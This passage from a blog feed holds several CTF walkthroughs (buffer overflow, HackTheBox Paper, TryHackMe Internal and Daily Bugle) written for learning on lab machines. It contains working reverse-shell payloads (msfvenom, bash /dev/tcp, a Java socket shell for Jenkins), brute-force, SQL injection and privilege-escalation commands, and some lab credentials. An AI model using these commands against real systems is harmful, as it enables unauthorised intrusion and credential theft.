href="https://medium.com/media/64f8915a58e8d95685cf30c53dca575b/href">https://medium.com/media/64f8915a58e8d95685cf30c53dca575b/href</a></iframe><p>Now run it and we will see a message at the bottom of the immunity debugger</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hykwZwRQI0iZ5arcQjXJSA.png" /></figure><p>We see our needed message :<br><strong>[16:20:59] Breakpoint at essfunc.625011AF</strong></p><h4><strong>FINAL EXPLOITATION</strong></h4><p>generating shell code</p><pre>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.167.70 LPORT=4444 EXITFUNC=thread -b &quot;\x00\x07\x2E\xA0&quot; -f c</pre><p>OUTPUT →</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o9x-tTAsKuEq0YVRGbFiow.png" /></figure><p>Now we will generate our final script Overlflow_Exploit.py</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4afbcd7d50a70f73794ddc5bb88bc48c/href">https://medium.com/media/4afbcd7d50a70f73794ddc5bb88bc48c/href</a></iframe><p>Start a listener →</p><pre>nc -lvnp 4444</pre><p>Run the script and voila 🎉<br>We have our shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wn9GdeC1WhukGlKbRcPq6w.png" /></figure><h3>PWNED 👨‍💻👾</h3><p>Now repeat these steps for other overflows as well :)</p><p>GOOD LUCK 👍</p><p>Resource from which I learnt →</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FncBblM920jw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DncBblM920jw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FncBblM920jw%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d72066787495fe9effeb171f5c7d73ba/href">https://medium.com/media/d72066787495fe9effeb171f5c7d73ba/href</a></iframe><h3>👨‍💻 🚀</h3><p>Keep Trying, Keep Working :)</p><p>Please write in comments if there is a more efficient way to do this. Every feedback is precious.</p><h3>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ec0573f3125" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/buffer-overflow-prep-tryhackme-6ec0573f3125">Buffer Overflow Prep</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Paper  | HackTheBox]]></title>
            <link>https://systemweakness.com/paper-hackthebox-f2e5a735b42e?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2e5a735b42e</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[the-office]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Fri, 27 May 2022 18:29:17 GMT</pubDate>
            <atom:updated>2022-06-02T10:26:30.945Z</atom:updated>
            <content:encoded><![CDATA[<h4>HackTheBox</h4><p>Paper is an easy-level Linux machine on the HackTheBox Platform. This machine is available for free. We have to get two flags user and root in order to complete this box. The concept of enumeration, WordPress, Polkit Privilege Escalation, and fun is needed to solve this machine. It’s a process so enjoy it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OoGJUX5Ki5dqWq8cbNkG1Q.png" /></figure><p>So let’s begin there is so much to learn.<br>Here is the link for the box if you want to follow along:<br>Link: <a href="https://app.hackthebox.com/machines/list/active?sort_type=desc&amp;difficulty=easy">https://app.hackthebox.com/machines/list/active?sort_type=desc&amp;difficulty=easy</a></p><p>Select machine Paper and launch the instance.<br>Machine Used: Kali Linux</p><p>давай 🚀</p><p>NMAP Basic Scanning to get an overview</p><pre>nmap -sC -sV -vv 10.10.11.143</pre><p>Result :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c08hLGR8tTalRd4N3Wbi1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7t_C6wJIzvri1Q3eBOfvcg.png" /></figure><p>Nothing much just basic ports opened we will keep that in mind.<br>- did a NIKTO scan and got something interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*flOWAM2J0Y9R6Z8kHx_DFw.png" /></figure><p>HOST IS VULNERABLE TO <strong>XST<br></strong>Keeping that aside I also intercepted the traffic and saw something strange</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wm8HgccFExQNYGCKg-LaPg.png" /></figure><p>Notice:<br>X-Backend-Server : office.paper<br>Let’s add it to /etc/hosts file and see what it has in that</p><pre>nano /etc/hosts<br># Add the link and ip set here</pre><p>Go to <a href="http://office.paper/">http://office.paper</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnGZ0pKcuCvwCOfRpdKR6Q.png" /></figure><p>Ok here we got Dunder mifflin paper company’s first copy lmao XD</p><p>Let’s perform a gobuster scan on this →</p><pre>gobuster dir -u http://office.paper -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</pre><p>Now upon surfing through the website i found an interesting comment (not the creed one) by nick</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mtq6xYvfiN92AbJQKdb_GQ.png" /></figure><p>There is something in michael’s drafts Now we need to hack into michael’s account for some info go to the login link we will get a wordpress login there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sauq7D7yFCA9SLjewEvpwg.png" /></figure><p>Let’s try basic combinations with username <strong>prisonmike</strong></p><p>ok didn’t worked we need to bruteforce it let’s use burpsuite to intercept the request to get the payload string</p><pre>hydra -l prisonmike -P /usr/share/wordlists/rockyou.txt 10.10.11.143 -V http-post-form &quot;/wp-login:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In&amp;redirect_to=http%3A%2F%2Foffice.paper%2Fwp-admin%2F&amp;testcookie=1:The password you entered for username prison mike is incorrect&quot;</pre><p>→ I found nothing but lost hopes<br>But I found two downloadable files on the website which looks like the logs or something.<br>→ We found our wordpress version → <strong>5.2.3</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BU3pGVeyULgeZTiT_giIcQ.png" /></figure><p>And upon searching on internet we will see an exploit for this (This will reveal all the drafts)</p><p><a href="https://www.exploit-db.com/exploits/47690">OffSec&#39;s Exploit Database Archive</a></p><p>→ go to URL And we got a link to some chat system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*46EAjMEdatOtSdt-crci3g.png" /></figure><p>Now we open the chat create an account and see what accounts we have here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1yB4NevJyj71kLuhTKOZkA.png" /></figure><p>Now notice the chatbot now direct message it<br>After playing with it sometime i was able to list all the system directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bDESrpq8wIjjeSgXeh3i3A.png" /></figure><p>By surfing around I got some ENV variables</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1h9_SARzBY6m0CmowRgJ2w.png" /></figure><p>USERNAME : recyclops</p><p>PASSWORD : Queenofblad3s!23</p><p>Let’s try logging in into chat using these variables</p><p>didn’t work 😢<br>After searching for some more stuff I got this file run.js amazing Now i am able to read the files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IrZQNvSn3-7pNg-D8JOAPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQ47zA9SPl2g1V0Vy4-s1g.png" /></figure><p>Ok so we got our User flag</p><p>Now I will try for a reverse shell in order to escalate my privileges</p><pre>run bash -i &gt;&amp; /dev/tcp/10.10.16.14/4444 0&gt;&amp;1</pre><p>Start a listener →</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WKc-_dixM-LIB4TcNwmMXg.png" /></figure><h3>WoHo 🎉 !!!!</h3><p>Now we will enumerate the shell using <a href="http://linpeas.sh/">linpeas.sh</a></p><p>Ups and downs and I finally got the root shell</p><p>CVE-2021–3560-Polkit-Privilege-Esclation</p><p><a href="https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation">GitHub - secnigma/CVE-2021-3560-Polkit-Privilege-Esclation</a></p><p>What this payload will do is it will exploit a bug in polkit and if we execute it at a perfect timing we will be able to escalate our privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V_BeKOjbYHClAi5kmTW3cA.png" /></figure><h3>PWNED 🎉</h3><p>Over all it was an amazing machine and the process involved is one of it’s own kind that’s what i love in HTB boxes 💚</p><h3>👨‍💻 🚀</h3><p>Keep Trying, Keep Working :)</p><p>Please write in comments if there is a more efficient way to do this. Every feedback is precious.</p><h3>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2e5a735b42e" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/paper-hackthebox-f2e5a735b42e">Paper 📃 | HackTheBox</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Internal ⚡]]></title>
            <link>https://systemweakness.com/internal-tryhackme-c2c1939b7c92?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2c1939b7c92</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Thu, 12 May 2022 19:04:20 GMT</pubDate>
            <atom:updated>2022-05-13T11:34:26.232Z</atom:updated>
            <content:encoded><![CDATA[<h4>TryHackMe</h4><h4>Internal is a hard-level linux machine. We have to get two flags user and root in order to complete this box. Concept of enumeration, Wordpress, Jenkins, Docker and many others.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5kwfdCcsLDSt5rXf7gttPg.png" /></figure><p>So let’s begin there is so much to learn.<br>Here is the link for the room if you want to follow along:<br>Link: <a href="https://tryhackme.com/room/internal">https://tryhackme.com/room/internal</a><br>Machine Used: Kali Linux</p><p>давай 🚀</p><p>NMAP →</p><pre>nmap -sC -sV 10.10.157.202</pre><p>→ Output</p><pre>Starting Nmap 7.92 ( &lt;https://nmap.org&gt; ) at 2022-05-12 03:25 EDT<br>Nmap scan report for internal.thm (10.10.157.202)<br>Host is up (0.22s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)<br>|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)<br>|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Service detection performed. Please report any incorrect results at &lt;https://nmap.org/submit/&gt; .<br>Nmap done: 1 IP address (1 host up) scanned in 17.52 seconds</pre><p>ADD the IP to the host to get the real website on your browser</p><pre>┌──(root㉿kali)-[~]<br>└─# cat /etc/hosts       <br>127.0.0.1       localhost<br>127.0.1.1       kali<br>10.10.11.136    Panda.HTB<br><strong>10.10.157.202.  internal.thm</strong><br># The following lines are desirable for IPv6 capable hosts<br>::1     localhost ip6-localhost ip6-loopback<br>ff02::1 ip6-allnodes<br>ff02::2 ip6-allrouters</pre><p>It’s a Wordpress Website let’s do a wpscan scan</p><pre>wpscan --url <a href="http://internal.thm/blog">http://internal.thm/blog</a></pre><pre>_______________________________________________________________                                                                                                                                          __          _______   _____                                                                                                                                                                     \ \        / /  __ \ / ____|                                                                                                                                                                     \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®                                                                                                                                                     \ \/  \/ / |  ___/ \___ \ / __|/ _` | &#39;_ \                                                                                                                                                       \  /\  /  | |     ____) | (__| (_| | | | |                                                                                                                                                       \/  \/   |_|    |_____/ \___|\__,_|_| |_|                                                                                                                                                                                                                                                                                                                                                   WordPress Security Scanner by the WPScan Team                                                                                                                                                                   Version 3.8.20                                                                                                                                                                                                                                                                                                                                                                @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart                                                                                                                                          _______________________________________________________________                                                                                                                                                                                                                                                                                                                                 [i] Updating the Database ...                                                                                                                                                                   [i] Update completed.                                                                                                                                                                                                                                                                                                                                                                           [+] URL: http://internal.thm/blog/ [10.10.157.202]                                                                                                                                              [+] Started: Thu May 12 03:29:10 2022                                                                                                                                                                                                                                                                                                                                                           Interesting Finding(s):                                                                                                                                                                                                                                                                                                                                                                         [+] Headers                                                                                                                                                                                      | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)                                                                                                                                             | Found By: Headers (Passive Detection)                                                                                                                                                         | Confidence: 100%                                                                                                                                                                                                                                                                                                                                                                             [+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php                                                                                                                             | Found By: Direct Access (Aggressive Detection)                                                                                                                                                | Confidence: 100%                                                                                                                                                                              | References:                                                                                                                                                                                   |  - http://codex.wordpress.org/XML-RPC_Pingback_API                                                                                                                                            |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/                                                                                                          |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/                                                                                                                 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/                                                                                                           |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ <br>[+] WordPress readme found: http://internal.thm/blog/readme.html  <br>| Found By: Direct Access (Aggressive Detection)  <br>| Confidence: 100%  <br>[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php  <br>| Found By: Direct Access (Aggressive Detection)  <br>| Confidence: 60%  | References:  <br>|  - https://www.iplocation.net/defend-wordpress-from-ddos  <br>|  - https://github.com/wpscanteam/wpscan/issues/1299  [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).  <br>| Found By: Rss Generator (Passive Detection)  <br>|  - http://internal.thm/blog/index.php/feed/, &lt;generator&gt;https://wordpress.org/?v=5.4.2&lt;/generator&gt;  <br>|  - http://internal.thm/blog/index.php/comments/feed/, &lt;generator&gt;https://wordpress.org/?v=5.4.2&lt;/generator&gt;  <br>[+] WordPress theme in use: twentyseventeen  <br>| Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/  <br>| Last Updated: 2022-01-25T00:00:00.000Z  <br>| Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt  <br>| [!] The version is out of date, the latest version is 2.9  <br>| Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507   <br>| Style Name: Twenty Seventeen  <br>| Style URI: https://wordpress.org/themes/twentyseventeen/  <br>| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...  <br>| Author: the WordPress team  | Author URI: https://wordpress.org/  |  <br>| Found By: Css Style In Homepage (Passive Detection)  <br>|  <br>| Version: 2.3 (80% confidence)  <br>| Found By: Style (Passive Detection)  <br>|  - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: &#39;Version: 2.3&#39;  <br>[+] Enumerating All Plugins (via Passive Methods)  <br>[i] No plugins Found.  <br>[+] Enumerating Config Backups (via Passive and Aggressive Methods)  Checking Config Backups - Time: 00:00:07 &lt;================================================================================================================&gt; (137 / 137) 100.00% Time: 00:00:07  <br>[i] No Config Backups Found.  <br>[!] No WPScan API Token given, as a result vulnerability data has not been output. <br>[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register <br>[+] Finished: Thu May 12 03:29:31 2022 <br>[+] Requests Done: 187 <br>[+] Cached Requests: 5 <br>[+] Data Sent: 46.546 KB <br>[+] Data Received: 18.61 MB <br>[+] Memory used: 248.719 MB <br>[+] Elapsed time: 00:00:20</pre><p>Good outputs :</p><pre>xmlrpc<br>readme.html<br>WordPress theme in use: twentyseventeen</pre><p>For XMLRPC :</p><p><a href="https://the-bilal-rizwan.medium.com/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32">Wordpress xmlrpc.php -common vulnerabilites &amp; how to exploit them</a></p><p>After trying this I got nothing<br>For readme.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AIbD26xnjkHGONUZFyUAvQ.png" /></figure><p>Default username : admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VgyEDXnzy7MZiWf0w6xDHA.png" /></figure><p>There is also a Wordpress login page let’s see if we can Bruteforce it using WPSCAN</p><pre>wpscan --url http://internal.thm/blog --passwords /usr/share/wordlists/rockyou.txt</pre><pre># OUTPUT</pre><pre>[+] admin  <br>| Found By: Author Posts - Author Pattern (Passive Detection)  <br>| Confirmed By:  <br>|  Rss Generator (Passive Detection)  <br>|  Wp Json Api (Aggressive Detection)  <br>|   - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&amp;page=1  <br>|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)  |  Login Error Messages (Aggressive Detection)  <br>[+] Performing password attack on Xmlrpc against 1 user/s <br>Trying admin / grandma Time: 00:01:55 &lt;                                                                                                               &gt; (1060 / 14344392)  0.00%  ETA: ??:??:?? <br>Trying admin / 7894561230 Time: 00:05:00 &lt;                                                                                                            &gt; (2835 / 14344392)  0.01%  ETA: ??:??:?? <br>Trying admin / kamote Time: 00:06:36 &lt;                                                                                                                &gt; (3755 / 14344392)  0.02%  ETA: ??:??:?? <br>[SUCCESS] - admin / <strong>$y$$$ys</strong>                                                                                                                                                                     Trying admin / bratz1 Time: 00:06:49 &lt;                                                                                                                &gt; (3885 / 14348277)  0.02%  ETA: ??:??:??  <br>[!] Valid Combinations Found:  <br>| Username: admin, Password: <strong>$y$$$ys</strong></pre><p>After reading the output carefully I came to know that This tool is performing the bruteforce on xmlrpc service only.<br>I am logged in successfully after searching out i found a way to get remote shell using the themes page.</p><ul><li><a href="https://www.hackingarticles.in/wordpress-reverse-shell/">WordPress: Reverse Shell - Hacking Articles</a></li><li><a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell</a></li></ul><p>Start a listener</p><pre>nc -lvnp 4444</pre><p>Visit the link</p><pre>http://internal.thm/wordpress/wp-content/themes/twentyseventeen/404.php</pre><p>I got the shell but we don’t have any privileges so let’s search for anything useful using linpeas or anything →</p><p>in /opt/wp-save.txt we found something useful</p><pre>$ cd opt <br>$ ls containerd <br>wp-save.txt <br>$ cat wp-save.txt <br>Bill,  Aubreanna needed these credentials for something later.  Let her know you have them and where they are.</pre><pre>aubreanna:<strong>bu$$$$$$$$$$23</strong></pre><p>Now switch to another user 🚶</p><pre>su aubreanna </pre><pre># Enter the password <br># IMP : # before running su run -&gt; python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p><strong>PRIVILEGE ESCALATION</strong></p><p>→ Now we will get the user flag in /home/aubreanna. there is another text file which says</p><pre>Internal Jenkins service is running on 172.17.0.2:8080</pre><p>There is a Jenkins service running internally</p><p>Now we need to direct this service into our system for that we will be following these steps →</p><ul><li>checking the netstat of the following service</li></ul><pre>netstat -tan | grep 8080</pre><pre>tcp          0         0   127.0.0.1:8080       0.0.0.0:*        LISTEN</pre><ul><li>Transfering the socat to victims PC</li></ul><pre># on our pc <br># ---------  <br>┌──(root㉿kali)-[~] <br>└─# which socat                                                                                /usr/bin/socat <br> <br>┌──(root㉿kali)-[~] <br>└─# cd /usr/bin<br>  <br>┌──(root㉿kali)-[/usr/bin] <br>└─# python3 -m http.server                 <br>Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...</pre><p>On victims computer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1dpjAtXBxU0aGuo9w2NuSQ.png" /></figure><pre>./socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &amp;</pre><p>Now jenkins is available at port 8888 to all the connections</p><p>For some reason I am not able to access the service. I saw a blog in which another method is mentioned</p><pre>ssh -L 6767:172.17.0.2:8080 aubreanna@internal.thm</pre><p>Now navigate to <a href="http://localhost:6767/">localhost:6767</a><br>Login request for <strong>jenkins</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHRMGXXa5IrCK2GLr-omwQ.png" /></figure><pre># HYDRA BRUTEFORCE  <br>hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 6767 127.0.0.1 http-post-form &quot;/j_acegi_security_check:j_username=^USER^&amp;j_password=^PASS^&amp;from=%2F&amp;Submit=Sign+in:Invalid username or password&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZSKGTftrDC9WiL8xnAvozQ.png" /></figure><p>And we are logged in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eVF8iNdjgcM3kz7fnNdqCg.png" /></figure><p><a href="https://casimsec.com/2021/12/21/jenkins-reverse-shell/">Jenkins Reverse Shell</a></p><p>Script to run</p><pre>String host=”YOUR_TUN0_IP”;<br>int port=9090;<br>String cmd=”/bin/sh”;<br>Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&gt;0)so.write(pi.read());while(pe.available()&gt;0)so.write(pe.read());while(si.available()&gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();</pre><p>Start a listener on your shell</p><pre>nc -lvnp 9090</pre><p>We have our shell<br>Now in /opt folder we have a file note.txt which says</p><pre>Aubreanna,</pre><pre>Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you <br>need access to the root user account.</pre><pre>root:tr0$$$$$$$$$$123</pre><p>Now the ssh connection we had in that execute and enter the password</p><pre>su root</pre><p>And voila we have our last flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g14xmVfJkSM-WMsuwTJcQw.png" /></figure><h3>PWNED 🎉</h3><h3>👨‍💻 🚀</h3><p>Keep Trying, Keep Working :)</p><p>Please write in comments if there is a more efficient way to do this. Every feedback is precious.</p><h3>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2c1939b7c92" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/internal-tryhackme-c2c1939b7c92">Internal ⚡</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Daily Bugle]]></title>
            <link>https://systemweakness.com/daily-bugle-tryhackme-74af31cbaf31?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/74af31cbaf31</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Sat, 07 May 2022 20:52:18 GMT</pubDate>
            <atom:updated>2022-05-16T12:07:43.506Z</atom:updated>
            <content:encoded><![CDATA[<h4>TryHackMe</h4><p>Daily Bugle is a hard-level Linux machine. We have to get two flags user and root in order to complete this box. Concept of enumeration, Apache, CVE, GTFOBins, and many others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgYqtd0QtpW7j94co8DtNg.png" /></figure><p>So let’s begin there is so much to learn.<br>Here is the link for the room if you want to follow along:<br>Link: <a href="https://tryhackme.com/room/alfred">https://tryhackme.com/room/alfred</a><br>Machine Used: THM Ubuntu Attack Box</p><p>давай 🚀</p><p>NMAP</p><pre>nmap -sC -sV -vv 10.10.78.47</pre><p>Output :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GY4TJrNMX2ktXVzm38jkdA.png" /></figure><p>Only basic ports are open :<br>- SSH<br>- HTTP (apache server)</p><p>Here we didn’t need to perform a Gobuster scan because of paths listed in robots.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1d3WqMO1olI3Q4tca5JiA.png" /></figure><p>On /administrator path we have a Joomla login form</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wSmIii6Wu2a7pvUPnOWkcg.png" /></figure><p>To find our Joomla version</p><p><a href="https://www.itoctopus.com/how-to-quickly-know-the-version-of-any-joomla-website">How to Quickly Know the Version of any Joomla Website</a></p><p>we got our Joomla version → 3.7.0<br><a href="http://10.10.78.47/administrator/manifests/files/joomla.xml">http://10.10.78.47/administrator/manifests/files/joomla.xml</a></p><p>Let’s search for any exploit →<br>And we found something for our joomla</p><p><a href="https://www.exploit-db.com/exploits/42033">OffSec&#39;s Exploit Database Archive</a></p><pre>sqlmap -u &quot;http://10.10.78.47/index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;list[fullordering]=updatexml&quot; --risk=3 --level=5 --random-agent --dbs -p list[fullordering]</pre><p>Result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kuZTzrP6KI6-K8bcjkakug.png" /></figure><p>Now as mentioned in the Task let’s search for any python script for Joomla</p><p><a href="https://github.com/XiphosResearch/exploits/tree/master/Joomblah">exploits/Joomblah at master · XiphosResearch/exploits</a></p><pre>python2 joomblah.py http://10.10.78.47</pre><p>Output</p><pre>[-] Fetching CSRF token  <br>[-] Testing SQLi   <br>-  Found table: fb9j5_users   <br>-  Extracting users from fb9j5_users  [$] Found user [&#39;811&#39;, &#39;Super User&#39;, &#39;jonah&#39;, &#39;jonah@tryhackme.com&#39;, &#39;$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm&#39;, &#39;&#39;, &#39;&#39;]   <br>-  Extracting sessions from fb9j5_session</pre><p>We need to crack the following hash</p><pre>$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm</pre><p>We know it’s a Bcrypt hash let’s crack this using john the ripper</p><pre>john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</pre><p>Here we will get our password</p><p>Now try logging in as jonah in administrator dashboard<br>We are successful 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9FyXZdWvBhv4XZpdUFjwGQ.png" /></figure><p>Now in the templates we are able to edit the index.php file which will give us the reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mG7D9UC0iT7TfdlmKOELBQ.png" /></figure><p><a href="https://github.com/pentestmonkey/php-reverse-shell">GitHub - pentestmonkey/php-reverse-shell</a></p><p>Now after getting the shell and exploring some directories</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DMn8gyUOtRn69cbd1MpU9A.png" /></figure><p>The above given password works for jjameson</p><pre>su jjameson</pre><pre># For stable shell <br>python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6F6uA-0JIw8wHMwbaP3hsg.png" /></figure><p>PRIVILEGE ESCALATION :</p><pre>[jjameson@dailybugle ~]$ sudo -l <br>sudo -l Matching Defaults entries for jjameson on dailybugle:     !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,     env_reset, env_keep=&quot;COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS&quot;,     env_keep+=&quot;MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE&quot;,     env_keep+=&quot;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES&quot;,     env_keep+=&quot;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE&quot;,     env_keep+=&quot;LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY&quot;,     secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin  User jjameson may run the following commands on dailybugle:     <br><strong>(ALL) NOPASSWD: /usr/bin/yum</strong> </pre><pre>[jjameson@dailybugle ~]$</pre><p>Search for yum on <strong>Gtfobins</strong></p><p><a href="https://gtfobins.github.io/gtfobins/yum/">yum | GTFOBins</a></p><p>Follow the steps and you will have a root shell →</p><h3>PWNED 🎉</h3><h3>👨‍💻 🚀</h3><p>Keep Trying, Keep Working :)</p><p>Please write in comments if there is a more efficient way to do this. Every feedback is precious.</p><h3>Thank You</h3><img 